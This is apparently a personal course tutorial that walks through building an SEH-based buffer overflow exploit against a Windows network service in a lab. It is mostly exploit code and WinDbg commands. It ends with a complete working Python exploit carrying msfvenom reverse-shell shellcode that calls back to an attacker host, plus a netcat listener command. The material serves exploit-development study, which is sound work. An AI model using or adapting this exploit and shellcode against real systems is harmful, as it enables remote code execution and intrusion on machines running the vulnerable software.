-
First have a PoC ready. Should look like below. This might overwrite a pointer but not EIP directly. Open WinDBG and attach to the process. Run the code on Kali.
#!/usr/bin/python import socket import sys from struct import pack try: server = "192.168.199.137" port = 9121 size = 1000 inputBuffer = b"\x41" * size header = b"\x75\x19\xba\xab" header += b"\x03\x00\x00\x00" header += b"\x00\x40\x00\x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() print("Done!") except socket.error: print("Could not connect!") - Restart debugger. Run
msf-pattern_create -l 1000where 1000 should be longer or same than the crash length to identify where it crash. Comment the previous inputBuffer in the Python PoC and use this instead. Send. -
When it crashes, run
!exchain. Refer to the example below, and in this case the overwritten pointer is33654132:0155fe1c: libpal!md5_starts+149fb (005fdf5b) 0155ff54: 33654132 Invalid exception stack at 65413165 - Use the following to identify the correct offset:
msf-pattern_offset -l 1000 -q 33654132 -
Restart debugger. Update your code such that you are using the latest offset (128 in this case). When you run
!exchainagain you should see 42424242 instead:try: server = sys.argv[1] port = 9121 size = 1000 inputBuffer = b"\x41" * 128 inputBuffer+= b"\x42\x42\x42\x42" inputBuffer+= b"\x43" * (size - len(inputBuffer)) -
Restart debugger. Next need to do bad characters detection. Send something like this below, but importantly, after sending, use
gAGAIN so that the program will handle the exception:try: server = sys.argv[1] port = 9121 size = 1000 badchars = ( b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d" b"\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a" b"\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27" b"\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34" b"\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41" b"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e" b"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b" b"\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68" b"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75" b"\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82" b"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c" b"\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9" b"\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6" b"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3" b"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd" b"\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea" b"\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7" b"\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") # bad chars: \x00, inputBuffer = b"\x41" * 128 inputBuffer+= b"\x42\x42\x42\x42" inputBuffer+= badchars inputBuffer+= b"\x43" * (size - len(inputBuffer)) -
Now we need to look at
dds esp L5and look at the THIRD row, which is usually the second argument(EstablisherFrame), as the first row is the return address. For example if it is something like this, the value we are interested in is0132ff54:0132f338 77f16b12 ntdll!ExecuteHandler2+0x26 0132f33c 0132f440 0132f340 0132ff54 0132f344 0132f45c 0132f348 0132f3cc - We then run
db 0132ff54then see which characters are bad characters. Most of the time the buffers are not enough, so once we confirm they are safe we need to remove them from the list. - Restart the debugger. Next need to search POP POP RET by first
.load narly, then use!nmodto find a modules without null bytes (or even bad characters? not sure). After this just executelm m libsppto locate the start and end address of the library (libspp in this example based on previous output). - (OPTIONAL) Using Kali
msf-nasm_shell, can check that pop eax is 58, pop ebx is 5b, pop ecx is 59, pop edx is 5a, pop esi is 5e, pop edi is 5f, pop ebp is 5d and ret is c3. -
Create a file below named
find_ppr.wdsand CHANGE the start and end address with the one we located in step 9. The first code excludes POP ESP which we cant use whereas the second code is the original unmodified in course. COPY EVERYTHING INCLUDING THE INDENTATION. If this doesnt work copy from the folder or course directly..block { .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01) { .if ($t0 == 0x5C) { .continue } .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01) { .if ($t1 == 0x5C) { .continue } s-[1]b 10000000 10226000 $t0 $t1 c3 } } }.block { .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01) { .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01) { s-[1]b 10000000 10226000 $t0 $t1 c3 } } } - Execute it in WinDBG using the command
$><C:\Users\offsec\Desktop\find_ppr.wds. Use anyone of it to confirm it is PPR:u 1015a2f0 L3. MAKE SURE NO BAD CHARACTERS! -
Update your Python code so that it contains the address (From ChatGPT can use
inputBuffer += b"\xf0\xa2\x15\x10"as well if don’t want to use pack):... try: server = sys.argv[1] port = 9121 size = 1000 inputBuffer = b"\x41" * 128 inputBuffer+= pack("<L", (0x1015a2f0)) # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret inputBuffer+= b"\x43" * (size - len(inputBuffer)) ... -
Restart the debugger. Run the code and will trigger exception. Run
gthen!exchainand will get something like below. The important one is the1015a2f0which is the value we inserted as SEH just now. Runu 1015a2f0 L3to confirm it contains PPR.018ffe1c: libpal!md5_starts+149fb (0099df5b) 018fff54: libspp!pcre_exec+16460 (1015a2f0) Invalid exception stack at 41414141 -
UPDATE THE FIRST OFFSET SO THAT IT -4 BECAUSE YOU WILL ADD SHORT JUMP LATER. Update the code to include a short jump
EB 06so that it jump over the PPR (six instead of four because need to include the EB 06 itself too), and insert a dummy shellcode so that we can search where it is later.... try: server = sys.argv[1] port = 9121 size = 1000 shellcode = b"\x43" * 400 inputBuffer = b"\x41" * 124 inputBuffer+= pack("<L", (0x06eb9090)) # (NSEH) inputBuffer+= pack("<L", (0x1015a2f0)) # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode)) inputBuffer+= shellcode ... -
Restart the debugger. DO NOT PROCEED before you set a breakpoint at the address from Step 12
bp 0x1015a2f0, then run the exploit code. Rungthen keep on runningtuntil AFTER eb 06 (usually the NOP). Then run!teb, remember the StackBase and StackLimit (StackBase is 01af0000 and StackLimit is 01aee000 in this example). Then runs -b 01aee000 01af0000 90 90 90 90 43 43 43 43 43 43 43 43(replace the StackBase and StackLimit, taking note the first is Limit second is Base). Take note of the results below, and the address here is 01aefc70 (but the actual shellcode starts from 01aefc74!).0:010> s -b 01aee000 01af0000 90 90 90 90 43 43 43 43 43 43 43 43 01aefc70 90 90 90 90 43 43 43 43-43 43 43 43 43 43 43 43 ....CCCCCCCCCCCC - Confirm that the shellcode is not truncated with the address above
dd 01aefc70 L70(COUNT!). Then determine the offset of current stack pointer to this address of ACTUAL SHELLCODE(NOT 01aefc70) with? 01aefc74 - @esp. -
In Kali run
msf-nasm_shell, thenadd esp, 0x830where 830 is the results of step 17. If this contains null bytes (00), then runadd sp, 0x830where 830 is the results of step 17, and is the lower 16 bit operation. Next runjmp espand take note of the results of this 2 (jmp esp will always beFFE4). Update the code again:... try: server = sys.argv[1] port = 9121 size = 1000 shellcode = b"\x90" * 8 shellcode+= b"\x43" * (400 - len(shellcode)) inputBuffer = b"\x41" * 124 inputBuffer+= pack("<L", (0x06eb9090)) # (NSEH) inputBuffer+= pack("<L", (0x1015a2f0)) # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret inputBuffer+= b"\x90" * 2 inputBuffer+= b"\x66\x81\xc4\x30\x08" # add sp, 0x830 inputBuffer+= b"\xff\xe4" # jmp esp inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode)) inputBuffer+= shellcode ... -
Use msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=8888 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"with the -b being bad characters to generate shellcode. Ensure that the size is smaller than your shellcode available size (830 in this example). Also add NOP sled, runsudo nc -lvp 8888on Kali, send the exploit code and you should receive shell.#!/usr/bin/python import socket import sys from struct import pack try: server = "192.168.199.138" port = 9121 size = 1000 shellcode = b"\x90" * 20 shellcode+= ( b"\xbd\x82\xb0\x7c\xaf\xd9\xc2\xd9\x74\x24\xf4\x58\x33\xc9" b"\xb1\x52\x31\x68\x12\x03\x68\x12\x83\x6a\x4c\x9e\x5a\x96" b"\x45\xdd\xa5\x66\x96\x82\x2c\x83\xa7\x82\x4b\xc0\x98\x32" b"\x1f\x84\x14\xb8\x4d\x3c\xae\xcc\x59\x33\x07\x7a\xbc\x7a" b"\x98\xd7\xfc\x1d\x1a\x2a\xd1\xfd\x23\xe5\x24\xfc\x64\x18" b"\xc4\xac\x3d\x56\x7b\x40\x49\x22\x40\xeb\x01\xa2\xc0\x08" b"\xd1\xc5\xe1\x9f\x69\x9c\x21\x1e\xbd\x94\x6b\x38\xa2\x91" b"\x22\xb3\x10\x6d\xb5\x15\x69\x8e\x1a\x58\x45\x7d\x62\x9d" b"\x62\x9e\x11\xd7\x90\x23\x22\x2c\xea\xff\xa7\xb6\x4c\x8b" b"\x10\x12\x6c\x58\xc6\xd1\x62\x15\x8c\xbd\x66\xa8\x41\xb6" b"\x93\x21\x64\x18\x12\x71\x43\xbc\x7e\x21\xea\xe5\xda\x84" b"\x13\xf5\x84\x79\xb6\x7e\x28\x6d\xcb\xdd\x25\x42\xe6\xdd" b"\xb5\xcc\x71\xae\x87\x53\x2a\x38\xa4\x1c\xf4\xbf\xcb\x36" b"\x40\x2f\x32\xb9\xb1\x66\xf1\xed\xe1\x10\xd0\x8d\x69\xe0" b"\xdd\x5b\x3d\xb0\x71\x34\xfe\x60\x32\xe4\x96\x6a\xbd\xdb" b"\x87\x95\x17\x74\x2d\x6c\xf0\xbb\x1a\xa9\x87\x54\x59\x35" b"\xaa\x1c\xd4\xd3\xc0\x4c\xb1\x4c\x7d\xf4\x98\x06\x1c\xf9" b"\x36\x63\x1e\x71\xb5\x94\xd1\x72\xb0\x86\x86\x72\x8f\xf4" b"\x01\x8c\x25\x90\xce\x1f\xa2\x60\x98\x03\x7d\x37\xcd\xf2" b"\x74\xdd\xe3\xad\x2e\xc3\xf9\x28\x08\x47\x26\x89\x97\x46" b"\xab\xb5\xb3\x58\x75\x35\xf8\x0c\x29\x60\x56\xfa\x8f\xda" b"\x18\x54\x46\xb0\xf2\x30\x1f\xfa\xc4\x46\x20\xd7\xb2\xa6" b"\x91\x8e\x82\xd9\x1e\x47\x03\xa2\x42\xf7\xec\x79\xc7\x17" b"\x0f\xab\x32\xb0\x96\x3e\xff\xdd\x28\x95\x3c\xd8\xaa\x1f" b"\xbd\x1f\xb2\x6a\xb8\x64\x74\x87\xb0\xf5\x11\xa7\x67\xf5" b"\x33" ) shellcode+= b"\x43" * (400 - len(shellcode)) # bad chars \x00, \x02, \x0a, \x0d inputBuffer = b"\x41" * 124 inputBuffer+= pack("<L", (0x06eb9090)) # (NSEH) 90 90 eb 06 inputBuffer+= pack("<L", (0x1015a2f0)) # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret inputBuffer+= b"\x90" * 2 inputBuffer+= b"\x66\x81\xc4\x30\x08" # add sp, 0x830 inputBuffer+= b"\xff\xe4" inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode)) inputBuffer+= shellcode header = b"\x75\x19\xba\xab" header += b"\x03\x00\x00\x00" header += b"\x00\x40\x00\x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() print("Done!") except socket.error: print("Could not connect!")